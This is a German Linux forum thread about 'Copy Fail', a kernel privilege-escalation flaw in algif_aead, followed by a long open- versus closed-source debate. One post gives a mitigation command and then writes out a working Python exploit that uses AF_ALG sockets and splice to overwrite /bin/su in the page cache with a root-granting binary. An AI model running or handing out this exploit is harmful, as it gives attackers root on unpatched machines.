copy.fail: Bug (in allen Linux Distros) erlaubt lokalen Nutzern root zu werden

ascer

Captain
Registriert
Juni 2008
Beiträge
3.934
Aus gegebenem Anlass:
https://copy.fail

Most Linux LPEs need a race window or a kernel-specific offset.
Copy Fail is a straight-line logic flaw — it needs neither.
The same 732-byte Python script roots every Linux distribution shipped since 2017.

Server, auf denen sich ausschließlich Admins tümmeln und wo auch keine CI-Pipelines und Dergleichen laufen, sind erstmal weniger problematisch...aber überall wo potentiall Skripte automatisiert laufen, die darauf zugreifen könnten oder auch wo diverse normale Nutzer auf einen Server Zugriff haben, sind höchst gefährdet.

Heise hatte auch berichtet:
https://www.heise.de/en/news/Copy-F...utions-with-732-bytes-of-Python-11277657.html

@Kaito Kariheddo
@Steffen
Wäre das nicht eine "Eilmeldung" wert?
 
  • Gefällt mir
Reaktionen: Sensei21
Und ist im Kernel schon gepatcht.

Zitat von Heise:
Einen Fix für den Kernel-Quellcode stellen die IT-Forscher ebenfalls bereit. Aktualisierte Kernel sollten inzwischen die größeren Distributionen bereitstellen.
Kann man ja weglassen.
 
Zuletzt bearbeitet:
Ja, musste heute früh algif_aead auf allen Linuxrechnern aus dem Kernel werfen. Exploit hatte "funktioniert", Ubuntu hatte bis Mittag jedenfalls nichts bereitgestellt.

sudo modprobe -r algif_aead

Der oben genannte Exploit schreibt ein neues mini-ELF-binary an die Stelle im Page-Cache, in das z.B. su geladen wurde, dieses wird dann ausgeführt wenn der Nutzer su eingibt.

Dieses "732 byte"-Dingens erzeugt ein ELF-Program "mit Hand" in diesem String, welches 3 Syscalls implementiert:
  • setgid(0): group ID zu root.
  • setuid(0): user ID zu root (physical file /bin/su, hat SUID bit gesetzt).
  • execve("/bin/sh", ...): ersetzt aktuellen Prozess mit einer normalen Shell.

Du kannst aber auch irgend ein kleines C-Programm kompilieren und da rein laden.
C:
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    system("id");
}

und dann das a.out in Dein Python-Skript laden:
Python:
import os, socket
from socket import *

def patch(target, offset, word):
    s = socket(AF_ALG, SOCK_SEQPACKET, 0)
    s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    s.setsockopt(SOL_ALG, ALG_SET_KEY, b'\x08\x00\x01\x00\x00\x00\x00\x10' + b'\x00'*32)
    s.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
    u, _ = s.accept()
    u.sendmsg([b'A'*4+word],
              [(SOL_ALG, 3, b'\x00\x00\x00\x00'),
               (SOL_ALG, 2, b'\x10'+b'\x00'*19),
               (SOL_ALG, 4, b'\x08\x00\x00\x00')],
              32768)
    r,w = os.pipe()
    os.splice(target, w, offset+4, offset_src=0)
    os.splice(r, u.fileno(), offset+4)
    try: u.recv(8+offset)
    except: 0
    s.close(); u.close()
    close(r);  close(w)

target = os.open("/bin/su",0)
source = open("a.out", "rb").read()
i = 0
while i < len(source):
    patch(target, i, source[i:i+4])
    i += 4
os.system("su")

oder so ähnlich.
 
Zuletzt bearbeitet:
  • Gefällt mir
Reaktionen: iron_monkey, dafReak, andy_m4 und eine weitere Person
Zer0DEV schrieb:
Nein, denn außer "mit Windows wäre das nicht passiert" gäbe es da nichts relevantes zu kommentieren...
Du glaubst also nicht, dass Interessierte darüber gerne Berichterstattung lesen und entsprechend diskturieren möchten?
Oder das vielleicht auch noch nicht jeder darüber Bescheid wusste?

Das hier...
blöderidiot schrieb:
Ja, musste heute früh algif_aead auf allen Linuxrechnern aus dem Kernel werfen. Exploit hatte "funktioniert", Ubuntu hatte bis Mittag jedenfalls nichts bereitgestellt.
...dürfte wohl vielen passiert sein.
 
  • Gefällt mir
Reaktionen: mchawk777
@ascer Nein, das tue ich nicht...
Es gibt aber tausende Seiten (weltweit) die darüber berichten. Im deutschsprachigen Raum z.B. Heise und Golem. Die Linux-Community ist vermutlich bereits bestens informiert. Ich kann mir ehrlich gesagt nicht vorstellen das hier auf Computerbase sich Linux-User rumtreiben, die sicht nur hier informieren!

Ob man hier bei CB darüber berichtet oder nicht, entscheidet letztlich CB.
Wenn hier über jede Sicherheitslücke, unabhängig ob sie gravierend oder marginal ist, egal ob Linux, Windows oder Schlangenölprodukte, berichtet wird, dann bleibt keine Zeit mehr für andere News...

Letztlich kann man sich auch noch 1-2 Tage Zeit lassen um dann die letzten abzuholen.
Wenn alle am selben Tag berichtet, hats der letzte mitunter auch dann verpasst.
 
  • Gefällt mir
Reaktionen: netzgestaltung
Zer0DEV schrieb:
Ich kann mir ehrlich gesagt nicht vorstellen das hier auf Computerbase sich Linux-User rumtreiben, die sicht nur hier informieren!
Ich schon. Ich beschränke die Anzahl der Seiten, die ich im Netz besuche. Es nimmt mir sonst zu viel Zeit und Nerven in Anspruch.
 
  • Gefällt mir
Reaktionen: ascer und iron_monkey
Ich hab auch nix mitbekommen. Besteht bzgl meines Linux Mint auf der externen SSD nun Handlungsbedarf? Kernel updaten oder so!?

Ich versuch auch die Anzahl an Seiten stark zu begrenzen. Hier und da verpasst man dann auch relevantes. Aber wie sich ja wieder gezeigt hat finden einen die Infos so oder so wenn es einen wirklich betrifft.
 
Zuletzt bearbeitet:
  • Gefällt mir
Reaktionen: ascer
Zuletzt bearbeitet:
  • Gefällt mir
Reaktionen: samuelclemens
ascer schrieb:
Wäre das nicht eine "Eilmeldung" wert?
Über den Nachrichtenwert solche Security-Meldung kann man sich streiten.
In der Regel wird man ja ohnehin von der "eigenen" Distribution zeitnah mit Informationen und Patches versorgt. Und sollte das nicht der Fall sein, sollte man eher über ein Distributionswechsel nachdenken als darüber, wo man welche Informationen her kriegt.

Der professionelle oder auch sehr interessierte Anwender wird sich ohnehin nicht auf Meldungen auf News-Seiten verlassen und darauf hoffen, das er sie stets bekommt, sondern informiert sich direkt auf Security-Tracker "seiner" Distribution. Dann gibts ja noch dieser CVE-Feeds und ähnliches, wo ja quasi jede Sicherheitslücke auftaucht.

Wie gesagt: Im Zweifel kann man darüber streiten, ob eine besonders schwere Lücke irgendwo auf einer News-Seite auftauchen sollte. Aber eigentlich ist es letztlich egal, weil jeder sich sich für die Thematik interessiert (interessieren muss) sich eh anders/zuverlässiger mit Infos versorgt.
 
ascer schrieb:
Du glaubst also nicht, dass Interessierte darüber gerne Berichterstattung lesen und entsprechend diskturieren möchten?
Ich halte es auch für äußerst notwendig, darüber zu berichten und zu reden.

Denn:
So häufig ich höre, dass Open Soruce DESWEGEN sicherer wäre, eben weil der Quellcode offen verfügbar ist und jeder ihn analysieren kann, lässt den Fakt weg, dass "drüber schauen können" und "drüber schauen tun" zwei verschiedene Punkte sind.

Die Tatsache, dass dies nun der zweite Vorfall mir bekannte Fall von Sicherheitslücken/Schadsoftware ist, die sich seit Jahren(!) bei Linux eingeschlichen haben, zeigt, dass die Qualitätskontrolle doch nicht so toll ist, wie es sich theoretisch aus der o. g. These ergibt.

Ich denke, dass dieser Trugschluss erkannt gehört, damit sich die Situation verbessert.

...und da bin ich noch nicht beim Thema der "Abandon Software", bei der der Autor kein Interesse mehr verspürt sie aktuell zu halten oder ähnlichen Themen.

Im Prinzip betrifft dies ja irgendwie alle Plattformen.
Vor allem auch in Hinblick auf Claude Mythos.

Edit: Lt. ThioJoe ist das Ganze doch nicht "so durch" und "von gestern", wie es hier einige schreiben:

 
  • Gefällt mir
Reaktionen: ascer
mchawk777 schrieb:
lässt den Fakt weg, dass "drüber schauen können" und "drüber schauen tun" zwei verschiedene Punkte sind.
Keine Sorge. In den betreffenden Kreisen ist da schon längst das Bewusstsein da.

mchawk777 schrieb:
zeigt, dass die Qualitätskontrolle doch nicht so toll ist, wie es sich theoretisch aus der o. g. These ergibt.
Als jemand der beide Seiten kennt, kann ich Dir aber sagen:
Die Qualität ist bei Open-Source-Software im Schnitt spürbar höher ist als bei Closed-Source-Software.
Vermutlich auch schon allein deshalb, weil die Hemmschwelle zum "Pfusch" kleiner ist, weil: sieht ja keiner.

mchawk777 schrieb:
Die Tatsache, dass dies nun der zweite Vorfall mir bekannte Fall von Sicherheitslücken/Schadsoftware ist, die sich seit Jahren(!) bei Linux eingeschlichen haben
Der zweite Vorfall! Das wäre eine ziemlich gute Quote und eher ein Beleg dafür, das die Qualitätskontrolle ziemlich gut funktioniert.

mchawk777 schrieb:
...und da bin ich noch nicht beim Thema der "Abandon Software", bei der der Autor kein Interesse mehr verspürt sie aktuell zu halten oder ähnlichen Themen.
Das Problem hast Du bei Closed-Source-Software aber auch. Und zwar im viel stärkeren Maße weil Du da nicht mal die Möglichkeit hast was zu tun selbst wenn Du wolltest.
 
  • Gefällt mir
Reaktionen: sedot
andy_m4 schrieb:
Der zweite Vorfall! Das wäre eine ziemlich gute Quote und eher ein Beleg dafür, das die Qualitätskontrolle ziemlich gut funktioniert.
Lies genau, was ich beschrieben habe - Stichwort "bekannt" - vor allem in Hinblick, dass die aktuelle Sicherheitslücke "den betreffenden Kreisen" seit 2017 bekannt war. 🤷‍♂️
 
mchawk777 schrieb:
Lies genau, was ich beschrieben habe - Stichwort "bekannt"
Ja. Das hab ich gelesen und bin trotzdem zu dem Fazit gekommen.
Denn wie gesagt: Bei typischer Closed-Source-Software sieht es im Schnitt noch sehr viel schlechter aus.
 
andy_m4 schrieb:
Die Qualität ist bei Open-Source-Software im Schnitt spürbar höher ist als bei Closed-Source-Software.
Vermutlich auch schon allein deshalb, weil die Hemmschwelle zum "Pfusch" kleiner ist, weil: sieht ja keiner.
Das hängt aber auch stark von der konkreten Situation ab: ich habe auch OpenSource-Projekte gesehen, wo die Maintainer sich eher stiefmütterlich um den Code kümmern (sollte funktionieren, ist aber auch nicht super tragisch wenn nicht & da es nicht deren Job ist, fühlt sich auch weder jemand für den Code noch Fehler verantwortlich).

Und umgekehrt gibt es abseits von "nur das Feature muss funktionieren; Code ist mir egal"-POs durchaus auch closed source software, wo die Korrektheit, Sicherheit, ... eine Rolle spielen. Zum Beispiel dort, wo Personal konkret dafür bezahlt wird und Fehler Vertragsstrafen bedeuten.

andy_m4 schrieb:
Das Problem hast Du bei Closed-Source-Software aber auch. Und zwar im viel stärkeren Maße weil Du da nicht mal die Möglichkeit hast was zu tun selbst wenn Du wolltest.
Das stimmt in der Tat.

Wobei Closed-Source da trotzdem teilweise hilfreich sein kann: MIT & Co. Lizenzen und selbst einsetzen bedeutet, dass man auch selbst 100% der Haftung übernimmt. Bei proprietärer Software, vor allem bei Cloud-Zeug, liegt die Haftung nicht selten zu großen Teilen oder gar direkt 100% beim Diensteanbieter. Das kann durchaus sehr attraktiv sein.

Gerade in puncto Datenschutz ist es in der Realität ja immer so, dass es nie 100% Sicherheit gibt...da werden Angebote, bei denen man die Haftung an Dritte abtreten kann, sehr schnell attraktiv.
 
ascer schrieb:
Das hängt aber auch stark von der konkreten Situation ab: ich habe auch OpenSource-Projekte gesehen, wo die Maintainer sich eher stiefmütterlich um den Code kümmern
Deswegen sag ich ja auch im Schnitt.
Natürlich gibts Gammel-Open-Source-Software genauso wie es auch gut geführte Closed-Source-Software gibt.

Bei Open-Source-Software hast Du dann zusätzlich noch die Chance selbst ein Blick drauf zu werfen (bzw. auch werfen zu lassen), wenn es Dir ganz wichtig ist. Diese Möglichkeit hast Du bei Closed-Source-Software eher nicht.
Plus der Möglichkeit selber einen Blick drauf werfen (zu lassen) was bei Closed-Source i.d.R. gar nicht geht.
Und insbesondere mit den KI-Tools werden Reviews ja auch möglich, ohne das man selbst Experte sein muss oder teure Security-Spezialisten beauftragen muss.

Generell hast Du halt mehr Möglichkeiten die Qualität selbst zu prüfen, während Du bei Closed-Source nur die (unbelegten) Zusagen des Herstellers hast. Und das betrifft ja oftmals nicht nur den Quelltext selbst, sondern auch Kommunikation und Handling von Bugs geschieht ja oftmals recht transparent.

ascer schrieb:
Bei proprietärer Software, vor allem bei Cloud-Zeug, liegt die Haftung nicht selten zu großen Teilen oder gar direkt 100% beim Diensteanbieter. Das kann durchaus sehr attraktiv sein.
Bin mir nicht ganz sicher, ob ich Dich richtig vestanden habe, weil der ganze Abschnitt etwas unverständlich formuliert war.

Bei proprietärer Software hast Du oftmals gar keine Ansprüche. Sonst wäre auch Microsoft schon längst pleite. Selbst wenn da theoretisch rechtliche eine Chance besteht: Microsoft ist ein großer Konzern mit eigener Rechtsabteilung und gut bezahlten Anwälten. Ansprüche durchzusetzen ist demzufolge schwierig.

Und klar kann man mit Herstellern auch Verträge aushandeln die Dir Sicherheit geben. Das ist aber nicht billig. Und Verträge aushandeln kannst Du bei Open-Source-Software genauso haben. Wenn Du beispielsweise zu Redhat usw. gehst benutzt Du ja zu großen Teilen Open-Source-Software. Und wenn es da irgendein Problem gibt, dann helfen die Dir auch.
 
andy_m4 schrieb:
Deswegen sag ich ja auch im Schnitt.
Natürlich gibts Gammel-Open-Source-Software genauso wie es auch gut geführte Closed-Source-Software gibt.

Bei Open-Source-Software hast Du dann zusätzlich noch die Chance selbst ein Blick drauf zu werfen (bzw. auch werfen zu lassen),
In der Theorie stimmt das, in der Praxis sieht es bei vielen Projekten wie z.B. X11 jedoch anders aus.

Man muss sich einmal die Dimensionen vor Augen führen. Z.B. das gesamte X11 Projekt schleppt gut 3-5 Millionen Zeilen Code mit sich herum. Vieles davon ist >30 Jahre altes C, hochkomplex. Wer schaut da wirklich "mal eben" drüber? Ein echtes Audit bei dieser Codemenge erfordert Ressourcen und finanzielle Mittel, die kaum ein Einzelner oder gar ein kleines Team aufbringen kann.

Es gibt etliche weitere bekannte Anwendungen, die selten bis nie ein Audit gesehen haben. Und wie sieht es nach einem Update aus? Wird man jedes Mal Geld in ein Audit investieren, das mindestens fünfstellig ausfällt?
 
  • Gefällt mir
Reaktionen: ascer und mchawk777
Freedstorm schrieb:
In der Theorie stimmt das, in der Praxis sieht es bei vielen Projekten wie z.B. X11 jedoch anders aus.
Xorg ist ohnehin ein spezieller Fall da es schon sehr alt ist.
Wie oft das geändert wurde, um halbwegs mit modernen Anforderungen Schritt halten zu können und gleichzeitig aber die Kompatibilität zum X11-Protokoll bewahren zu müssen.
Da ist das eher ein Vorzeige-Projekt.
Freedstorm schrieb:
Wer schaut da wirklich "mal eben" drüber?
Gar keiner. Nicht umsonst ist das Projekt ja auch im Großen und Ganzen aufgegeben worden. Auch wenn da die Xlibre-Leute versuchen noch was zu reißen. Realistischerweise haben sie aber keine Chance.
Es sei denn, sie brechen mit der Kompatibilität. Genau das hat man ja schon vorher konsequenterweise mit Wayland gemacht.

Freedstorm schrieb:
Ein echtes Audit bei dieser Codemenge erfordert Ressourcen und finanzielle Mittel, die kaum ein Einzelner oder gar ein kleines Team aufbringen kann.
Dazu hatte ich mich bereits geäußert. Macht wenig Sinn das einzubringen.
Und wie bereits gesagt: Bei Closed Source-Software hast Du erst gar nicht die Option. Egal, ob Du bereit bist die Ressourcen aufzuwenden oder nicht. An der Stelle "verliert" Closed-Source einfach.

Freedstorm schrieb:
Es gibt etliche weitere bekannte Anwendungen, die selten bis nie ein Audit gesehen haben.
Wie bereits gesagt: Im Closed-Source-Sektor sieht die Lage eher noch schlechter aus. Oder meinst Du, da ist alles durchauditiert?
Wie gesagt: Ich sag nicht, das bei jedem Open-Source-Projekt alles immer super toll ist.
Aber wenn ich vergleiche, dann komme ich nicht umhin festzustellen, das die Ausgangslage besser ist.

Bei einem Closed-Source-Projekt hast Du nicht mal die Chance von außen irgendwie zu beurteilen, wie gut das Projekt geführt ist.

Aber wir kommen nicht weiter. Die Punkte wurden alle schon genannt.
Wenn Du argumentieren willst, bring Neues ein. Ansonsten ist es irgendwie sinnlos.
 
andy_m4 schrieb:
Wie bereits gesagt: Im Closed-Source-Sektor sieht die Lage eher noch schlechter aus. Oder meinst Du, da ist alles durchauditiert?
Lenk nicht vom Thema ab.
Erstens kannst Du Deine Annahme wegen Closed Source nicht belegen - ist also reine Weltanschauung.
Zwotens: Wenn andere schlecht arbeiten ist das nie eine Entschuldigung für eigene schlechte Arbeit.

Im Prinzip lesen sich Deine Zeilen so als ob Linux für Dich Weltanschauung oder sogar Religion ist.
Damit wären wir dann an dem Punkt auch fertig.
 
mchawk777 schrieb:
Lenk nicht vom Thema ab.
Womit lenk ich denn ab?
Das war von Anfang an meine These.

mchawk777 schrieb:
Erstens kannst Du Deine Annahme wegen Closed Source nicht belegen
Wie gesagt. Ich habe Einblick in beide Welten. Sowohl in die Closed-Source-Entwicklung als auch in die Open-Source-Entwicklung.
Und ich kann da natürlich nur über meine subjektive Wahrnehmung sprechen.
Belegen ist da schwierig.
Trotzdem gibts ja auch einfach objektive Fakten. Das Du bei Open-Source mehr Einblick hast (und damit auch überhaupt die Chance einer Bewertung hast) ist so ein objektiver Fakt.

mchawk777 schrieb:
Zwotens: Wenn andere schlecht arbeiten ist das nie eine Entschuldigung für eigene schlechte Arbeit.
Das war auch gar nicht als Entschuldigung gedacht. Ich habe nur versucht den Ist-Zustand darzustellen.
Wie gesagt. Es gibt auch sehr gut geführte Closed-Source-Projekte.
Windows zum Beispiel dürfte besser als sein Ruf sein. Da wird zwar immer viel geschimpft. Aber angesichts des Erbes was die teilweise noch immer mit sich herum schleppen (und insbesondere in den 90er Jahren und den frühen 2000er haben die sich etliches an technischen Schulden eingefangen) und der sehr großen Installationsbasis (also sehr viele unterschiedliche Bedingungen, unter denen das funktionieren muss), sieht das Ergebnis ganz passabel aus.

Anhand von Microsofts Open-Source kann man auch gut nachvollziehen, das die intern recht gute Abläufe und Prozesse haben. Das sind jetzt natürlich nicht die selben Abteilungen, die an Windows arbeiten, aber wäre ja auch seltsam wenn die das für Windows komplett anders handhaben.

Gut. Die haben natürlich auch das nötige Kleingeld, was sie drauf werfen können. Aber trotzdem.

Ein spannendes Beispiel für eine kritikwürdige OpenSource-Software ist chromium (die Basis für Googles Chrome Browser). Was da (qualitativ als auch quantitativ) durch den Bugtracker läuft ist teilweise abenteuerlich. Der Code ist mit "teilweise unwartbar" noch wohlwollend umschrieben.
Das Beispiel zeigt auch, das Geld nicht unbedingt immer alle Probleme löst/mildert.

mchawk777 schrieb:
Im Prinzip lesen sich Deine Zeilen so als ob Linux für Dich Weltanschauung oder sogar Religion ist.
Im Linux-Kosmos bin ich gar nicht so aktiv. Deine Spekulation läuft also schon mal daneben. Ich selbst hab hier auch schon Linux-kritische Dinge geschrieben. Dein Vorwurf ist also lächerlich.

Es ging mir auch nicht primär um Linux, sondern um Open-Source im Allgemeinen.

Und es gibt durchaus Dinge, die man bei Linux kritisieren kann und soll. Von mir aus auch das copy-fail-Ding. Aber auch grundsätzliche Sachen im Entwicklungsprozess. Und das da viele Köche mit teilweise entgegenstehenden Interessen in dem Brei drin rumrühren.
Insgesamt läuft es aber ganz gut.

mchawk777 schrieb:
Damit wären wir dann an dem Punkt auch fertig.
Es wirkt sehr wie: "Ich hab keine Argumente also greife ich ad hominem an und stell meinen Gegenüber als Linux-Fanboy dar" und dann kann man sich rausfinden und sagen: "Mit Fanatikern kann man ja nicht diskutieren".
 
  • Gefällt mir
Reaktionen: TomH22
Zurück
Oben